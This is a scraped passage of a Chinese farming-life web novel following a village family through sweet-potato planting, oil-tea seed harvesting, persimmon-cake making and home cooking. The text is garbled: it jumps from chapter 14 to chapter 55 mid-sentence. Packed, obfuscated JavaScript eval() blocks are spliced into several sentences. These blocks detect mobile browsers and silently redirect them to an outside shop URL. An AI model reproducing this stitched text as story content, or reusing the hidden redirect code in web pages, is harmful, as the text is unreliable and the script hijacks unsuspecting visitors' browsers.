李兰香在旁边柔柔地帮腔:“您看要哪种菌子,除去红菇贵些,要八文钱一斤,其他的三种菇子都是六文钱一斤。” 那妇人上手翻拌查看了一番,倒是很满意的样子,“是新鲜,那就给我称一斤六文钱的菇子,然后你这笋子和蕨菜怎个卖?” 罗水林忙答:“蕨菜两文钱一斤,笋子分两种,一种三文钱一斤,一种四文钱一斤,您要是买的多,我 14. 种红薯 《四时田园杂记(种田)》全本免费阅读 刚插了秧,转眼又到了种薯的时候,农人便是这样,一年到头的时间都花费在田地里忙活。 罗水林打开后院茅厕的门取肥,平时他和李兰香方便就是直接蹲的这种旱厕,两个娃娃太小蹲不住,每次用了马桶还要专门来倒一趟,把尿粪积起来,扫院子收到的鸡粪也是同样倒进旱厕,跟人粪沤在一起。 之所以要沤粪,是因为粪便对于种地的人来说是很宝贵的,这些脏物经过了发酵沤肥过后,可以施到田里、地里,给土壤增加肥力,要不然田地种两年便要歇一年,没肥力的话,农作物的收成不会好。 他拿出长柄的尿勺,把粪坑底部的肥舀到两个尿桶里面,装了半担子,然后担去了地里。 家里的两亩旱地前些日子被罗水林犁过,又用锄头分堆成了一条一条整齐划一的小垄。 施肥也有学问,是不能直接浇到地里的,肥力太强容易把植物的根系烧坏、烧死,所以要先用水把粪肥稀释了,再去浇。 来回了四趟,担了四担子肥,才把两亩地给浇完。浇完地还不算完成,又要用田垄两边的土把肥埋上,盖上约三四寸厚厚的一层,让肥料再溶解两日,才好开始种植作物。 过了两天,正好是镇上每五日开集的日子,罗水林和李兰香便带着宝珍宝珠一起,去赶了一个早集。 两姐妹被放在独轮车上推着走,两人一人坐一边,屁股底下被李兰香塞了厚实的蒲草垫,要不然坐起来可硌得慌。 罗水林喊她们两个抓好车上的扶手,然后就轻轻松松地推着车子走了,李兰香挎着篮子跟在旁边。 宝珠很少出远门,出生到现在三岁多,去集里也不过一两次而已,因此兴致很高,看到路边有什么不常见的东西都要抓住问个没完。 “娘,那是什么树?”她指着路边高大的乔木问。 “那是泡桐树。”李兰香耐心回应她。 “那又是什么树?” “那是构树。” …… 经过一条河边时,宝珠又被一排开花的树吸引了目光。 树上开着一大片一大片的淡紫色小花,几棵树聚在一起,风一吹,轻轻摇晃的样子就像是一团漂浮着的梦幻的云。 宝珠问:“这又是什么树?” 李兰香回答她:“这是苦楝树。” 有种说法叫:梅起楝终。意思便是,春天起始于梅花终止于楝花,苦楝花一开,就代表着春天即将结束,夏季将要来临了。 宝珠眨巴眨巴眼睛,转头向罗水林提出要求:“爹爹,我想要花,你帮我摘好不好?我们摘了放在家里,跟上次一样插瓶子里面,好看。”原来是想起了上次映山红的事。 不等罗水林应,李兰香就训斥她,“乱来!这树这么高,你爹爹哪里摘得到,再闹再闹就不带你去赶集了。”实在是被她一路上烦到了。 果然被训斥威胁后,宝珠的嘴巴也停住,不再叭啦叭啦问东又问西了。 到了集市,看到了炸油条的摊子,宝珠嘴馋想吃,又想起娘亲骂她,不敢出声,只能嘟着嘴一脸不舍地看着,像条没得骨头吃的小狗。 自己肚子里出来的,李兰香还能不懂她么,不过孩子好不容易出门一趟,这点小愿望还是要满足一下。于是去摊子买了一根油条回来,分作两半给两姐妹吃,宝珠果然立马高兴了。 这次赶集主要是为了买番薯秧子。其实给番薯催芽自己也能做,不过样样亲力亲为也太累了,又要选种留种,还要发苗,何况只种不到一亩地,实在是太麻烦了些,倒不如买现成的秧子来种,省心省力。 番薯秧一文钱六株,李兰香共买了五十文的,差不多够种八分地了,又另外买了几株丝瓜、黄瓜、冬瓜和南瓜的秧子,准备一起种。 回家的路上再经过苦楝树时,罗水林把独轮车停到一旁,不顾李兰香的劝阻,扎起衣服便爬上了树。 “宝珍宝珠,你们俩看要哪一枝,爹爹给你们折下来。” 两姐妹很是开心,尤其是宝珠,挑了又挑,指了又指,让罗水林折了四五枝开得正盛的花束下来,抱在怀里满满一大捧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857377|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前告知熟客以免扑空。 薛娘子家没有很多亲戚,天养刚带下山时已经请过一回客,因此今日就宴请孙婆子三人,以及上次没来的远房姑婆就行。 薛娘子与她丈夫在灶房忙活,孙婆子坐不住,也看不得别人忙,于是上前帮忙,给她拉风箱烧火。幸得两个人虽年岁有相差,但关系好,又都信佛,脾性合得来,能体谅对方,要不然哪有上门做客还帮忙做饭的道理。 午间做了八道菜,刚将最后一道汤天麻炖鸡盛出来,远房姑婆正好姗姗来迟。这个时候已过了正午,到了未时,姑婆应当是晓得薛娘子家做菜的惯性,特意卡着饭点过来的。 相比起孙婆子,薛娘子要更信佛,自己在家就经常茹素,因此做菜也带上个性,常以药材和植物入菜,并且不喜葱蒜等荤物。 这就导致她做的菜味道寡淡,就算是肉菜,也没甚滋味,一道豆腐鲈鱼煲吃得宝珍宝珠两姐妹直梗脖,实在是太腥气咽不下去啊。 不过天麻炖鸡还是很好吃的,三个小娃娃分吃了鸡腿与鸡翼,又喝了一大碗鸡汤。 宝珍最喜欢的是一道琥珀莲子,说它是道菜,倒不如说更像是一道甜品。 莲子去芯,桂圆去籽,然后把洗净的莲子放上锅蒸熟,用桂圆肉把莲子包起来。再加水烧融了冰糖,摘院子里的金桂进去熬成糖桂蜜,倒入桂圆肉包裹着的莲子,让糖浆均匀挂住外层,再一道盛出来。 做好的琥珀莲子色泽光亮,形如琥珀,食之如蜜,软糯香甜。三个娃娃吃完饭下桌,大人们还在用餐,薛娘子就叫她们端着一盘子琥珀莲子,全部拿过去吃。 宝珠在捡盘子里的莲子吃,筷子使得不熟练,加之糖浆黏滑,夹一颗掉一颗,玩的不亦乐乎。宝珍拉着天养的手,漫步在桂花树下,见没人注意她们,宝珍悄悄问天养:“天养,你现在开心么?是在庙里开心些,还是……在这里开心些。” 天养踮脚拿手在够桂花枝,听得宝珍问,便回过头笑:“在庙里开心,在这里也开心。” “主持婆婆与我说过,人需得知足,知足才会长乐。主持婆婆还说,开弓没有回头箭,做了抉择就很难回头了,下山的时候是我自己决定跟薛娘子回来的,我觉得……薛娘子,对我好……” “我不是非要一个爹娘的,我只想有人对我好,如果能做我的爹娘,更好……” 宝珍流下一滴泪来,又很快抬手拭去,笑起来:“那就好,薛娘子是个好人,她做娘一定好!” 等到回家时,宝珍与宝珠把前些日子串的草珠子送给天养,宝银人没来也给随了礼,是一只用桃核刻成的小提篮儿,虽然不够精美,但模样还是有的,提篮上被他刻了个字:福。 55. 油茶籽 寒露惊秋晚,朝看菊渐黄。① 七月流火九月授衣,寒露节气一到,天气正式转凉,昼夜温差大,每日清晨李兰香出门做工时,已经要再加一件衫。 早上赶路的时候,路边草尖上凝结的大颗露珠,总是打湿她的布鞋,不得已,还需再带一双鞋子放在厨帐备用,等一到,就换上干鞋子,把打湿的鞋搁在炉膛口用火烘,再脱掉外衫,才能开始做事。 田里的晚稻渐渐成熟,罗水林就不再出去卖货,而是要准备接下来的秋收了。 秋收是件大事,即使是服劳役也得排在后面,于是没过两日,蒋多福他叔就收到县里下的令,要给劳役们放十日田假,让他们回去割稻。 葛月红与李兰香也回家来,与衙役们不同,她俩还多告了五日假,因家中有山地,割完稻还需上山摘油茶籽。 晚稻要比早稻好收,这个时候没那么热,干活就不那么辛苦,且收了稻也不需要紧赶着耕田,要到明年三月,才会恢复新一年的耕种。 等把田里的谷子收下来晒干了,储存到后仓,就需上山摘油茶籽。 不同于收稻只能罗水林和李兰香上场,摘油茶籽则是全家出动,宝珍与宝珠也要去。 两姐妹这时候都大了一岁,她们一个是八月三十的生辰,一个是九月初六的生辰,都集在下半年,中间只隔了五天,前不久刚过了四岁和六岁的生日。 其实乡下娃娃是不作兴过生辰的,像在栗花村,孩子生日这一天,家里能给单独煎个蛋或者做一碗长寿面就算很不错了。 罗水林与李兰香这对爹娘不同,他们偏疼娃娃,每年到了这两日,还要自家做一桌饭菜,请老宅的人一同过来庆生,惹得过生只能吃碗面的宝银可羡慕嫉妒。 今年过生时,宝珍还让罗水林把镇子上的天养也接了过来,在她们家里一直住到宝珠生辰结束才走,玩了五日不晓得几开心。 全家上山摘油茶籽,背背篓的背背篓,拎篮子的拎篮子,还有挑箩筐和提桶子的,这些个都是拿来装油茶籽的工具,然后穿上旧衣服就走。 摘油茶籽有讲究,寒露后开始收稻谷,收完稻谷正好就到了霜降,他们这儿的老话:“过了霜降节,油在树上歇。”说的就是这个时候去摘油茶籽,榨油出油才会多。 山地是分好的,里面的油茶树都是各家的财产,可不能摘错。宝珍好奇,每家的山地是相连的,那相隔的地方要咋分辨呢,难不成一棵树一棵树去认么。 罗水林和李兰香听完笑而不语,只说:“等长大就晓得了。”同样的树摘个一两年,自然分辨不清,若是摘上个十年八年的,怎样都分的清了。再不济,等摘错了,自然会有人骂上门,挨一道骂,就啥也记得清了。 山上蚂蚁窝多,尤其是油茶树上,总是会被山蚂蚁筑巢。李兰香叮嘱两姐妹,叫她们摘的时候仔细些,可要提防山蚂蚁咬手,若被咬上一口,很容易起红疙瘩,且又疼又痒,可难受。 宝珍和宝珠戴着草帽子,一个拎篮子一个提桶子,听了嘱咐乖乖点头,然后在附近找小油茶树摘果子。 种油茶树的山地不同于别的地方,这里的土大多是红壤,红壤黏性大,风化程度较高,养分贫瘠,最适宜种喜欢它的油茶树,其他树不好存活。因此山上除了油茶树和零星一些灌木,大多都是矮草,会有野兔子在这里打洞生存。 两姐妹找到一株比她们略高一些的小树,就开始摘果子。树上除了会有山蚂蚁,还有蜘蛛结网,两姐妹刚开始还一惊一乍的,摘了几棵树后便见怪不怪,习惯了。 长在树上的油茶籽大的如鸡子,小的比杏子还小,表面的果壳光亮,长有绒毛,通常是青色或红色,亦或青红均有,这跟它们的成熟程度和日照相关。 宝珍仔细搜寻小树上的油茶籽,生怕错漏了一个;宝珠个头矮些,就专挑着树下围的油茶籽摘。两个人互相合作,不一会儿就摘满了一篮子,然后一人拎一边,把篮子运到罗水林带来的大箩筐边,将油茶籽全部倒进去。 等到罗水林带来的四个大箩筐全部装满,正好到了中午。这时候孙婆子就赶着家里的两头牛拉着板车过来,帮忙运回去的同时再送一趟饭。 午饭在山上吃,一大家子找棵大树聚在树底下,用早上茶罐里剩的水略微洗下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872587|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,就揭开篮子上蒙的布,把饭菜端出来。 每到夏收和秋收这种累的时候,乡人总是舍得吃的,孙婆子就做了大块的红烧肉,一大盘的瓠子煎蛋,还有酿豆腐和干笋焖饭,滋味都极好。山上的风大,吹在身上很舒适,全部人席地而坐,边吃边交谈。 吃过饭后不着急干活,宝银就拉着两个妹妹,在山上找野果子吃。这个时候野山楂熟了,通常长在沙砾较多的石坡上,几个人绕着自家的山地跑了一圈,才找着几株而已。 野山楂个头很小,成熟后是那种深红的颜色,非常惹眼。三兄妹一个不漏的全部摘下来,然后兜着回去分给家人吃。 小孩子爱这玩意儿,大人们可不领情,野山楂又酸籽又多,根本没什么果肉,吃进去只能得到嘴酸,于是三兄妹只好自个儿独享了。 摘了四五日,山上的油茶籽全部摘干净了,李兰香照旧回去做工,罗水林便留在家继续处理摘回来的油茶籽。 油茶籽要榨油,是取的里头的茶籽才能榨的,要取籽就要把它放在地上晒,每日早起摊开晚上收回来,晒上个五六日,把硬硬的果壳全部晒开了,才可以开始挑籽。 这时候宝珍和宝珠的作用就显现出来了,小人家没啥事又闲得无聊,就让她们在家挑茶籽。 罗水林把吃饭的长板凳端出两条,并行而放,然后在上头架一个又大又圆的竹簸箕,把晒开的油茶籽倒进去,教导她们坐在旁边,将黑黑的茶籽挑拣出来放到箩筐里,果壳就扔在地上,等他回来铲到灶房当柴火烧就行。 还与她们讲好,若是把大箩筐的茶籽装满,就各给一文钱。一筐换一文,有的钱拿,两姐妹干起活也不嫌重复无聊了。 等到油茶籽全部挑完,就可以将它们运去榨油坊榨油,经过工匠碾茶籽、蒸茶籽、制茶饼、木榨油的几道工序,才能榨出清清亮亮的纯正山茶油来。 一千余斤的茶籽,榨了油只能得到约四百斤的山茶油,这些油可以供他们家一年的吃用,更多的是拿去卖。榨油后剩的茶麸,也全部拿回家,用来洗头和肥地。用宝珍的话来讲,必须物尽其用,一点都不能浪费。 56. 萝卜鲫鱼汤 秋收之后,一年到头最重要的事情忙活完,乡人们开始渐渐歇下来准备猫冬,剩余的便是一些零碎农事,慢慢做即可。 露水凝寒,好柿成霜。霜降后最适宜做柿饼,孙婆子就在镇上买回了一筐新鲜柿子,打算制成柿饼吃。柿饼好吃又吉利,寓意“事事如意”,拿来过年待客用再好不过。 柿子买了两种,分别是火晶柿子和磨盘柿子,都是从北地运过来的,价格稍贵,需得七文钱一斤呢。 火晶柿子买的少,按照家里人头买的,一人只得一个。宝珍捧着柿子细瞧,火晶柿子皮儿薄,颜色鲜红,摸起来软绵,一把皮儿撕开,柿子汁就顺着手流淌下来。 宝珍见状赶忙嘬一口,味道甜丝丝的,然后去咬晶莹的果肉,细滑的柿子肉含在嘴巴里,就仿佛兜了一泡蜜。 其余的宝银和宝珠拿到柿子,三下并做两下就吞进了肚,又去找孙婆子讨要。 火晶柿子吃完了,还有一大筐拿来做柿饼的磨盘柿子呢,宝银和宝珠蹲在孙婆子旁边看她削柿子皮,歪缠着让再给一个。 柿子好吃,但不宜多食,容易肚子痛,孙婆子自然不会再给。 两兄妹乖觉,立马就一个捶背一个捏肩膀分工合作起来,嘴巴里不停求道:“好阿嬷,就一个,就再给一个嘛。” 孙婆子被他们逗得笑,调侃道:“不给了是不是就不是好阿嬷了?要叫我坏阿嬷?” “不会不会,给不给都是好阿嬷!”两兄妹连连摇头否认,一脸谄媚。 于是孙婆子在筐子中挑拣一番,宝珍亲眼见着的,阿嬷挑了其中最生的一个柿子,然后削了皮,从上头切下一半分作两块,拿给宝银和宝珠吃。另外的一半,她向宝珍眨眨眼睛,询问道:“宝珍要不要吃呐?要吃我也给你切一块。” “不要不要,我不吃,我吃够了!” 宝珍猜到阿嬷的坏心思,赶紧摆手推拒。 果不其然,宝银和宝珠咬了一口生柿子,嚼了没两下就哭丧着脸,询问孙婆子能不能吐出来,实在是太难吃了。 “都说了这是专门晒柿饼的柿子,不能生吃。”孙婆子一脸正经的教训他俩,“你们非不信,这下好,还浪费我一个柿子呢。” 旁边看戏的宝珍在心底偷笑,没有去戳穿自家阿嬷的小把戏。 这磨盘柿子是专门拿来做柿饼的,孙婆子特地挑了其中有一定硬度的,给他们俩吃还又从中挑那更生的,不涩口才怪。 宝珠扔了手里剩下的柿子块,挪到宝珍旁边拉她的袖子,伸出舌头含糊地问:“姐姐,你帮我看看我舌头是怎么了,好麻呀。” 其实这不是麻,是涩。前世宝珍贪便宜买到用生柿子冒充的脆甜柿时,也经过这一遭,不过宝珠还不会形容,只觉得舌头好似被东西裹住了,十分不灵敏。 宝珍捧着她的小脸细瞧,生柿子里头的物质跟嘴巴里的唾液发生反应,形成柿石,附着在舌苔上,白白的一片。 “呸呸呸,你多吐两口口水试试看。” 宝珠照做了,连着往地上吐口水,缓解了一些,但还是觉得涩,不由得哼哼唧唧的。 两兄妹遭了个小罪,旁边削柿子皮的孙婆子倒是好心情。要治娃娃馋嘴还不容易么,他们都是记吃不记打的主,说了也听不进,但若是吃一回亏,就记得牢固了,下次便不会再犯。 做柿饼的磨盘柿子个头大,皮儿较厚,果肉是橙红色,有一定的硬度。孙婆子把柿子蒂留着,将外皮削去,再用开水烫一道,只过遍水即可,然后立马捞起晾干。过开水是为柿饼做出来的颜色更好看,且不容易发霉。 晾干水分的柿子,把它们放到透气的圆竹簸箕里,拿去太阳底下晒,晚上再收回来。过了霜降后的日头早已不烈,温温柔柔的,所以需晒上半个月才能成柿饼。 霜降是秋天的最后一个节气,过了霜降,天气变冷,冬天就要来了。 这个时候的北地已经十分寒冷,南方倒是气候适宜,还不那么冷,依旧能种植冬菜。 罗水林听从李兰香的吩咐,买回了茼蒿、乌塌菜和菠棱菜的种子,又从家里檐下吊着的大蒜头中,挑出能做种的蒜瓣,准备种到地里去。这几种菜蔬都挺抗冻,冬天里没什么菜蔬吃,就靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889799|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这几样了。 把地修整耙平了,把茼蒿、乌塌菜和波棱菜的种子撒播下去,再覆上一层薄土,略浇些水,然后隔段时间过来施趟尿肥,等上一个半月至两个月就可以收获了。 种大蒜要更费力些,罗水林先在地里堆了肥,过了六七日再去耙土打垄修畦,再带上宝珍与宝珠两个,让她们一一把蒜瓣按照尖儿朝上、间距相同的方式插进土里,然后又去山上用竹耙子钯了一担干杉树枝回来,盖在种大蒜的土上面,最后浇一趟水,静等它出芽即可。 “霜降萝卜,立冬白菜。”这个时候最适宜吃的菜蔬就是萝卜了,有钱人家会用萝卜煲羊肉,他们平民百姓吃不起羊,便拿白萝卜来与咸肉炖煮,或者烧鱼汤喝。 家里自从李兰香去做工,宝珍和宝珠一日的吃食,不是在老宅解决,就是罗水林给她们做,虽没有李兰香做的好,但味道也还算不错。 买种子的时候,罗水林还买了几条鲫鱼回来做菜。将鲫鱼去鳞开膛清洗干净后,先烧热油爆香姜片,然后把它放下油锅煎,要将鱼身表皮两面煎至金黄,再倒入开水。 这道步骤是李兰香特地讲过的,说是用开水煮,鱼汤才会浓白。等煮鱼汤的功夫,把白萝卜削了皮切成丝,再放进锅里一同煮,调味只需要用盐巴即可,出锅前再撒一把葱花,清淡鲜甜的萝卜丝鲫鱼汤就做好了。 白萝卜偌大一个,烧鱼汤只用去一半,剩下的半截,罗水林想了想,又给两姐妹做了萝卜丝饼吃。 把萝卜切成丝,倒入两大勺面粉,再敲一个鸡蛋进去,撒上葱花和少量的盐,添些水把它们全部搅和均匀,然后把面糊勺入油锅中小火慢煎,中途翻个面把两边煎熟,就可以铲起来了。 吃饭的时候,罗水林给她们碗中一人夹一条鲫鱼,仔细挑了刺,再给盛上萝卜丝和鱼汤,主食则是一人一个萝卜丝煎饼,嘱咐她们慢慢吃。 宝珍舀起一勺子奶白的鱼汤喝,又香又浓,再尝一口鲫鱼肉和萝卜丝,又鲜又甜;饼子做的也好,外皮金黄香酥,内里细腻多汁,不知不觉间,一大碗的鱼汤和饼子就下了肚,很是饱足。 57. 苦槠豆腐 霜降过后,后山上苦槠树的果实成熟了,每日宝银带着宝珍与宝珠去放牛时,总是要去捡一小兜回来。 苦槠树高大,清明节左右会开一树的白色小花,丝丝缕缕的,覆盖在枝头上,远望过去像是蒙了一层白纱;到了初冬,它的果实苦槠子就成熟了,慢慢从树枝上脱落下来,有乡人专门会去捡它。 成熟的苦槠子表面包裹着绿色颗粒状像树皮一样的硬皮,剥掉硬皮,里面的苦槠子呈圆锥状,长得像野毛栗,同样有着褐色光滑的外壳。 宝银喜欢在孙婆子做完饭的时候,用炉膛里残余的火灰烘小番薯,然后再撒一把苦槠子上去,等它们都熟了,再用火钳扒拉出来,跟宝珍宝珠分着吃。 烘熟的苦槠子吃起来像板栗,但是没板栗那么好吃,带着微微的苦味,口感也比较硬实。虽不太好吃,三兄妹却依旧开心。 不过烘苦槠子可得小心,它个头小,跟成人拇指肚一样大,外面又有壳,若是不小心火大了些,受了热气,就“嘭”地一声炸起来,跟鞭炮似的,打在锅底上“铛铛”作响,气得孙婆子直拿锅铲追他。 捡回来的苦槠子积了小半篮,孙婆子想了想,又带着他们去后山打了枝回来,把树头的苦槠子敲落下来,捡到一整筐。 苦槠子同样可以拿来做吃食,只是麻烦了些。孙婆子把苦槠子收集起来,剥掉绿色的硬皮,然后摆到太阳底下晒,晒足四五日,把外壳晒开了,再吩咐三个小的把里面的苦槠果肉一一挑出来。 挑出来的苦槠果肉也像板栗,据孙婆子讲,这是因为它们之间像人一样有亲戚关系,甚至可以嫁接板栗,把板栗枝接到苦槠树上能成活;另还有一种与它相像的树,叫做橡树,结的橡子跟苦槠子也十分相似,可惜它们这儿没有。 获取到知识的三个小娃娃听得一愣一愣的,宝银不禁感叹:“阿嬷,你怎懂得这样多呀?” 孙婆子赏他一个脑瓜崩,笑着骂他:“叫你不去念书吧,你念了书就能跟我一样懂得多。” “才怪!”宝银反驳道:“明明阿嬷你也没念过书,再说学堂也不教种菜种树啊。” 宝银是不爱念书,但不是傻子,还是能弄清孙婆子讲的话里头的关系的。 孙婆子横他一眼,“我是女子才不能念书,我要能去我肯定去。你不是女子,你爹娘送你去念书你还不愿去,真是身在福中不知福。” “再说你阿嬷我吃过的盐比你吃的饭都多,自然懂得更多。你们也是享了福了,要晓得,你阿嬷和你阿公的爹娘,细时候没得米吃,就只能捡这种苦槠子来磨了粉,当成饭来吃哦。要是更辛苦些,没有了吃的,还要去山上挖观音土吃,一吃就屙不出屎哦。” 三个娃娃露出既难受又恶心的表情,也不敢再犟嘴了,乖乖挑苦槠子,生怕孙婆子发散开来,抓着他们紧讲。 挑出来的果肉被晒得硬邦邦,孙婆子把它们浸在水里头,泡了一整晚,第二日开始磨浆。 浸泡过后的苦槠子肉变得松脆,孙婆子把它们清洗两道,继续拿水泡着,然后用大勺子,舀半勺苦槠果肉和半勺水,倒进磨盘的小洞中。 磨盘慢慢磨啊磨,浆水就顺着凹槽流下来,滴进放在下头的木桶里面。磨出来的浆水颜色是灰色的,宝银和宝珍宝珠拿手指头沾了一点尝味道,有微微的苦,微微的涩。 磨好的浆水要沉淀几道漂洗,中途换清水去除苦味,然后放到锅里小火加热,加热的时候也需要不停手地搅拌,直至浆水变得粘稠,才可以倒出来放进木盆里头冷却。 这做的是苦槠豆腐,它不像黄豆做的豆腐需要点卤才能凝固,只要熬煮后冷却,就能成型。做出来的苦槠豆腐,颜色是很深的灰褐色,等用手指戳弄时,能感觉到硬实,便是做成功了。 晚间孙婆子就将这苦槠豆腐切块做成菜,用辣椒、蒜粒、野水芹去配它炒,若是买了肉,也可以放些猪肉沫进去,炒起来便会更香。 罗水林也在老宅吃晚饭,现在家里没人做饭,有时候他出门卖货归来的晚,就直接到爹娘那里蹭一顿了。 今日他没去卖货,是去县城里添货,吃饭的时候,他讲道一件大事,原是他添货的途中经过县衙,见到了官府贴出来的告示,那打死淑云的上门女婿,要被秋后问斩了。 古人对砍头的讲究是很多的,春夏万物生发,不适合杀戮;而在秋收过后,万物萧瑟,即使砍头也不会对天地有影响。“凉风至,白露降,寒蝉鸣,鹰乃祭鸟,用始行戮①”说的便是执行死刑恰当的时机。同时这个时候乡人们已全部忙碌完,知道告示后能赶来看砍头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898444|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以起到震慑恶人、遏制恶念的作用。 当时这个畜牲杀了人想用假路引过关,被守城的官兵识破,然后投进了大牢。县令经过查审与复核过后,认定他作为上门女婿,犯了抢掠妻家财产与恶意虐杀妻子至身死的罪名,两罪并罚,便判定了他的死罪。 孙婆子听到此处,不由得连呼:“阿弥陀佛,这下可以告慰淑云的在天之灵了。”又加紧追问,这畜牲当时的外室与私子是如何处置的。 “外室未受处罚,她是被拐带的娼女,并不知晓淑云丈夫做的恶事,不过住宅与钱财全部被判刑上缴了去,私子也投入了官府的养济堂,母子分离,以后估计再难见面。” 这倒让孙婆子难受,毕竟这女子无辜被牵连,招使母亲与亲子分离,这对任何一个做娘的来说都是莫大的打击。 坐在下面偷偷旁听的宝珍却不认同,一个娼女被拐带,脱了贱籍做外室生孩子,若是娃娃不被官府收养,独身女带着幼儿,她又能做些什么用于养活自己和孩子呢,恐怕还是要投入娼门。若是这样做,还不如抛下孩子先顾好自个儿,现下孩子有官府照料,不用去愁他的吃穿用度,哪怕是去做苦力活也能撑下去,不至于饿死,看来这判刑的县令的确是个好官。 还不止这些,罗水林又讲道:“经过审问,淑云家的钱财地契一半在她丈夫那里,一半被他偷藏回家给了家中几个兄弟,现全部被缴了去。县衙判定他的兄弟几人为同犯,都抓起来投入了大牢,等问了斩,便要发配他们去做三年苦力。” “好!”宝银偷听得入神,把这当做茶馆里的讲书话本子,听到精彩处还鼓掌喝起彩来,吓了众人一跳。 意识到娃娃们在竖起耳朵偷听,大人们便不再继续聊,孙婆子佯装怒骂道:“好你个头,赶快把饭吃完去,今天晚上便要你洗碗。” “哼,小气,听都不让听!”宝银不忿也没办法,毕竟家里头阿嬷的权利最大。 宝珍默默吃豆腐,这苦槠豆腐滑糯微弹,带有些许的苦涩,与豆腐相比起来别有一番风味,就像人生一样,酸甜苦辣咸,谁也无法预知下一日会遇上何种事,会是哪般滋味。 她在心底祝愿淑云,虽不知是否人人都能像自己一样幸得下一世,但若有,便祈祷她下一世能幸福安康。 58. 商议 从立秋至立冬,经过约三个月的时间,劳役们总算在寒潮来临前将渠修好了。渠一竣工,蒋多福与衙役们便回官府交差,葛月红与李兰香两妯娌也随之归了家。 这一次做工,两人都挣得七两多银子,李兰香由于还会给衙役们做小食,挣得更是多,积攒到了十七八两。 随着银子的增加,之前李兰香还会因卖艾草膏赚的一贯铜钱而兴奋不已,现下则是平心定气,她又有了新的想法。 蒋多福说的没错,她本身做饭的手艺好,若是能在城中摆个摊子,也比在乡下处置农事要强得多。以前家中没钱,头都起不了,如今这一趟做工挣的钱,加上家里原本的积蓄,也有将近四十两了。这些钱不仅能在城中摆摊,甚至可以拿去租个便宜的店面,固定开个食铺。 回去的时候,她将想法与蒋多福提了,并拜托他,若是年前看着了有价钱适合的商铺,便与她留意一番。 其实李兰香开铺子的想头还未与罗水林交代,她心中惴惴,毕竟这是要花去家中大多积蓄的,她怕罗水林不应。 回家的时候是傍晚,罗水林外出担货卖还未回,宝珍与宝珠被留在老宅,正拿着刚做好的柿子饼吃。 孙婆子霜降时做的柿饼,晒过半个月的日头后,坚硬的果子已变得柔软,橙红色的果肉上裹着一层沁出来的白白的柿霜。 找出瓮清洗晾干,孙婆子把柿饼给孙子孙女们一人分了一个,其余的全部整齐码好,放进瓮里头小心保存,准备留待过年接客时用。 做好的柿饼咬一口,实在是甜蜜、粘牙、有嚼劲,中间的柿子肉晒成了糖心状,软糯爆浆,甜丝丝的,大人小孩都爱。 宝珍一见到娘亲回来就殷勤迎上去,举起剩下的半边柿饼让她尝尝看,李兰香从善如流,低下头在边边啃一块小口子,连连称赞道:“真甜,真好吃。” 听到夸奖,宝珠同样挤过来,把手里吃得还剩一小块的柿饼也要喂给李兰香吃,李兰香哭笑不得地吃了,依样赞了她一道。 “喏,不用分,阿嬷再给你们娘一个。”孙婆子笑眯眯地从瓮里掏柿饼递给李兰香,问道:“是不是渠修完啦?我听老三讲,就是这两日了。” 李兰香把柿饼接过来,撕了一半分成两边给了宝珍和宝珠,另一半自己吃,然后回应道:“是,今天中午便修完了,劳役们立时回家,我与嫂子做了午饭才能回,又给那帮官爷收拾了一下东西,就拖到现在了。” “能赶在立冬修完最好不过,现下天气一日比一日冷了,若是还常泡在泥巴水里,不晓得会有多少人生病受寒。”孙婆子絮絮叨叨,“晚上到老宅吃吧,我已准备好饭菜喽,只要下锅炒就行。” “那怎能行。”李兰香连连推拒,又掏出半贯铜钱来,要塞给孙婆子。 “这几个月托爹娘照顾宝珍和宝珠,我才空的出手去做工,米面您这里不缺,不过菜钱我还是要给的。” “啧!”孙婆子板起脸来,训斥她:“给钱做啥!难不成宝珍宝珠不是我亲孙女么,吃两顿饭还要你们给钱,成啥样了?” “赶紧给我收回去!” 两个人推拒一番,孙婆子态度坚决,就是不肯收,李兰香便只好把钱放回兜里,见婆婆要去灶房做饭,赶紧跟上去帮忙。 孙婆子炒菜,李兰香就给她拉风箱烧火。晚上罗水林也回来了,家里人便一同在老宅用过饭才回去。 